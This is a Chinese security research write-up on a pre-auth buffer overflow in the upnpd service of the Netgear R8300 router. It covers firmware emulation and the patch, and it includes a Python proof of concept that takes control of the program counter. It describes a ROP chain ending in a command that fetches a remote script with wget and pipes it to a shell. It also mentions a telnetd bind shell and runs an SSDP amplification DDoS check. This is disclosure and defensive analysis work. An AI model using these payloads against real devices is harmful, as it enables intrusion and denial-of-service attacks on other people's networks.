作者:fenix@知道創宇404實驗室
時間:2020年8月25日
c3eb8f8c004d466796a05b4c60503162 R8300-V1.0.2.130_1.0.99.zip - 漏洞版本abce2193f5f24f743c738d24d36d7717 R8300-V1.0.2.134_1.0.99.zip - 補丁版本? binwalk R8300-V1.0.2.130_1.0.99.chk
DECIMAL HEXADECIMAL DESCRIPTION58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x086 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38
使用 binwalk -Me 提取出 Squashfs 文件系統,漏洞程序是 ARMv5 架構,動態連結,且去除了符號表。? squashfs-root lsbin dev etc lib media mnt opt proc sbin share sys tmp usr var www? squashfs-root find . -name upnpd./usr/sbin/upnpd? squashfs-root file ./usr/sbin/upnpd./usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, strippedQEMU 模擬在基於 QEMU 的固件模擬這塊,網上也有一些開源的平臺,如比較出名的 firmadyne【6】、ARM-X【7】。不過相比於使用這種集成環境,我更傾向於自己動手,精簡但夠用。相應的技巧在之前的文章 《Vivotek 攝像頭遠程棧溢出漏洞分析及利用》【8】也有提及,步驟大同小異。在 Host 機上創建一個 tap 接口並分配 IP,啟動虛擬機:sudo tunctl -t tap0 -u `whoami`sudo ifconfig tap0 192.168.2.1/24qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographicifconfig eth0 192.168.2.2/24這樣 Host 和虛擬機就網絡互通了,然後掛載 proc、dev,最後 chroot 即可。root@debian-armhf:~# lssquashfs-rootroot@debian-armhf:~# ifconfigeth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet addr:192.168.2.2 Bcast:192.168.2.255 Mask:255.255.255.0 inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:96350 errors:0 dropped:0 overruns:0 frame:0 TX packets:98424 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:7945287 (7.5 MiB) TX bytes:18841978 (17.9 MiB) Interrupt:47
lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:55 errors:0 dropped:0 overruns:0 frame:0 TX packets:55 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:304544 (297.4 KiB) TX bytes:304544 (297.4 KiB)
root@debian-armhf:~# mount -t proc /proc ./squashfs-root/procroot@debian-armhf:~# mount -o bind /dev ./squashfs-root/devroot@debian-armhf:~# chroot ./squashfs-root/ sh
BusyBox v1.7.2 (2018-12-13 12:34:27 CST) built-in shell (ash)Enter 'help' for a list of built-in commands.
# iduid=0 gid=0(root)#修復運行依賴手動創建 /tmp/var/run 目錄,再次運行提示缺少 /dev/nvram。NVRAM( 非易失性 RAM) 用於存儲路由器的配置信息,而 upnpd 運行時需要用到其中部分配置信息。在沒有硬體設備的情況下,我們可以使用 LD_PRELOAD 劫持以下函數符號。? armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so還是報錯,找不到 dlsym 的符號。之所以會用到 dlsym,是因為該庫的實現者還同時 hook 了 system、fopen、open 等函數,這對於修復文件缺失依賴,查找命令注入漏洞大有裨益。? grep -r "dlsym" .Binary file ./lib/libcrypto.so.1.0.0 matchesBinary file ./lib/libdl.so.0 matchesBinary file ./lib/libhcrypto-samba4.so.5 matchesBinary file ./lib/libkrb5-samba4.so.26 matchesBinary file ./lib/libldb.so.1 matchesBinary file ./lib/libsamba-modules-samba4.so matchesBinary file ./lib/libsqlite3.so.0 matchesgrep: ./lib/modules/2.6.36.4brcmarm+: No such file or directory
? readelf -a ./lib/libdl.so.0 | grep dlsym 26: 000010f0 296 FUNC GLOBAL DEFAULT 7 dlsym可以跑起來了,不過由於缺少配置信息,還是會異常退出。接下來要做的就是根據上面的日誌補全配置信息,其實特別希望能有一臺 R8300,導出裡面的 nvram 配置...簡單舉個例子,upnpd_debug_level 是控制日誌級別的,sub_B813() 是輸出日誌的函數,只要 upnpd_debug_level > sub_B813() 的第一個參數,就可以在終端輸出日誌。下面分享一份 nvram 配置,至於為什麼這麼設置,可以查看對應的彙編代碼邏輯(配置的有問題的話很容易觸發段錯誤)。upnpd_debug_level=9lan_ipaddr=192.168.2.2hwver=R8500friendly_name=R8300upnp_enable=1upnp_turn_on=1upnp_advert_period=30upnp_advert_ttl=4upnp_portmap_entry=1upnp_duration=3600upnp_DHCPServerConfigurable=1wps_is_upnp=0upnp_sa_uuid=00000000000000000000lan_hwaddr=AA:BB:CC:DD:EE:FF該漏洞的原理很簡單,使用 strcpy() 拷貝導致的緩衝區溢出,來看看調用流程。在 sub_1D020() 中使用 recvfrom() 從套接字接受最大長度 0x1fff 的 UDP 報文數據。在 sub_25E04() 中調用 strcpy() 將以上數據拷貝到大小為 0x634 - 0x58 = 0x5dc 的 buffer。通過 checksec 可知程序本身只開了 NX 保護,從原漏洞詳情得知 R8300 上開了 ASLR。很容易構造出可控 PC 的 payload,唯一需要注意的是棧上有個 v39 的指針 v41,覆蓋的時候將其指向有效地址即可正常返回。#!/usr/bin/python3
import socketimport struct
p32 = lambda x: struct.pack("<L", x)s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)payload = ( 0x604 * b'a' + # dummy p32(0x7e2da53c) + # v41 (0x634 - 0x604 - 8) * b'a' + # dummy p32(0x43434343) # LR)s.connect(('192.168.2.2', 1900))s.send(payload)s.close()顯然,R4 - R11 也是可控的,思考一下目前的情況:2.有 ASLR,不能洩漏地址,不能使用各種 LIB 庫中的符號和 gadget。3.strcpy() 函數導致的溢出,payload 中不能包含 \x00 字符。其實可控 PC 後已經可以幹很多事了,upnpd 內包含大量 system 函數調用,比如 reboot。下面探討下更為 general 的 RCE 利用,一般像這種 ROP 的 payload 中包含 \x00,覆蓋返回地址的payload 又不能包含 \x00,就要想辦法提前將 ROP payload 注入目標內存。比如,利用內存未初始化問題,構造如下 PoC,每個 payload 前添加 \x00 防止程序崩潰。s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)s.connect(('192.168.2.2', 1900))s.send(b'\x00' + b'A' * 0x1ff0)s.send(b'\x00' + b'B' * 0x633)s.close()可以看到,由於接收 socket 數據的 buffer 未初始化,在劫持 PC 前我們可以往目標內存注入 6500 多字節的數據。這麼大的空間,也足以給 ROP 的 payload 一片容身之地。關於 ROP,使用 strcpy 調用在 bss 上拼接出命令字符串,並調整 R0 指向這段內存,然後跳轉 system 執行即可。原作者構造的 system("telnetd -l /bin/sh -p 9999& ") 綁定型 shell。經過分析,我發現可以構造 system("wget http://{reverse_ip}:{reverse_port} -O-|/bin/sh") 調用,從而無限制任意命令執行。發送 payload,通過 hook 的日誌可以看到,ROP 利用鏈按照預期工作,可以無限制遠程命令執行。(由於模擬環境的問題,wget 命令運行段錯誤了...)在更新版固件 V1.0.2.134 中,用 strncpy() 代替 strcpy(),限制了拷貝長度為 0x5db,正好是 buffer 長度減 1。補丁中還特意用 memset() 初始化了 buffer。這是由於 strncpy() 在拷貝時,如果 n < src 的長度,只是將 src 的前 n 個字符複製到 dest 的前 n 個字符,不會自動添加 \x00,也就是結果 dest 不包括 \x00,需要再手動添加一個 \x00;如果 src 的長度小於 n 個字節,則以\x00 填充 dest 直到複製完 n 個字節。結合上面的 RCE 利用過程,可見申請內存之後及時初始化是個很好的編碼習慣,也能一定程度上避免很多安全問題。通過 ZoomEye 網絡空間搜尋引擎對關鍵字 "SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0" 進行搜索,共發現 18889 條 Netgear UPnP 服務的 IP 歷史記錄,主要分布在美國【10】。其中是 R8300 這個型號的會受到該漏洞影響。說句題外話,由於協議設計缺陷,歷史上 UPnP 也被多次曝出漏洞,比如經典的 SSDP 反射放大用來 DDoS 的問題。在我們的模擬環境中進行測試,發送 132 bytes 的 ST: ssdp:all M-SEARCH 查詢請求 ,伺服器響應了 4063 bytes 的數據,放大倍率高達 30.8。因此,建議網絡管理員禁止 SSDP UDP 1900 埠的入站請求。? pocsuite -r upnp_ssdp_ddos_poc.py -u 192.168.2.2 -v 2
,-. ,--. ,--. ,----. {1.5.9-nongit-20200408}| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. || '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' |`--' `---' `---`----' `----'`--' `--' `----`----' http://pocsuite.org[*] starting at 11:05:18
[11:05:18] [INFO] loading PoC script 'upnp_ssdp_ddos_poc.py'[11:05:18] [INFO] pocsusite got a total of 1 tasks[11:05:18] [DEBUG] pocsuite will open 1 threads[11:05:18] [INFO] running poc:'upnp ssdp ddos' target '192.168.2.2'
[11:05:28] [DEBUG] timed out[11:05:28] [DEBUG] HTTP/1.1 200 OKST: upnp:rootdeviceLOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::upnp:rootdevice
HTTP/1.1 200 OKST: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1
HTTP/1.1 200 OKST: urn:schemas-upnp-org:device:InternetGatewayDevice:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:InternetGatewayDevice:1
HTTP/1.1 200 OKST: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1
HTTP/1.1 200 OKST: urn:schemas-upnp-org:device:WANDevice:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANDevice:1
HTTP/1.1 200 OKST: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1
HTTP/1.1 200 OKST: urn:schemas-upnp-org:device:WANConnectionDevice:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:device:WANConnectionDevice:1
HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:Layer3Forwarding:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:Layer3Forwarding:1
HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de32-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1
HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:WANEthernetLinkConfig:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANEthernetLinkConfig:1
HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:WANIPConnection:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANIPConnection:1
HTTP/1.1 200 OKST: urn:schemas-upnp-org:service:WANPPPConnection:1LOCATION: http://192.168.2.2:5000/Public_UPNP_gatedesc.xmlSERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0EXT:CACHE-CONTROL: max-age=3600USN: uuid:6cbbc296-de42-bde2-3d68-5576da5933d1::urn:schemas-upnp-org:service:WANPPPConnection:1
[11:05:28] [+] URL : http://192.168.2.2[11:05:28] [+] Info : Send: 132 bytes, receive: 4063 bytes, amplification: 30.78030303030303[11:05:28] [INFO] Scan completed,ready to print
+---+-+---+-+----+----+| target-url | poc-name | poc-id | component | version | status |+---+-+---+-+----+----+| 192.168.2.2 | upnp ssdp ddos | | | | success |+---+-+---+-+----+----+success : 1 / 1
[*] shutting down at 11:05:28https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/【3】: NETGEAR 多款設備基於堆棧的緩衝區溢出遠程執行代碼漏洞https://www.seebug.org/vuldb/ssvid-98253【4】: Unlocking the Netgear Telnet Consolehttps://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500https://www.netgear.com/support/product/R8300.aspx#downloadhttps://github.com/firmadyne/firmadynehttps://github.com/therealsaumil/armx【8】: Vivotek 攝像頭遠程棧溢出漏洞分析及利用https://paper.seebug.org/480/https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.chttps://www.zoomeye.org/searchResult?q=%22SERVER%3A%20Linux%2F2.6.12%2C%20UPnP%2F1.0%2C%20NETGEAR-UPNP%2F1.0%22
往 期 熱 門
(點擊圖片跳轉)
覺得不錯點個「在看」哦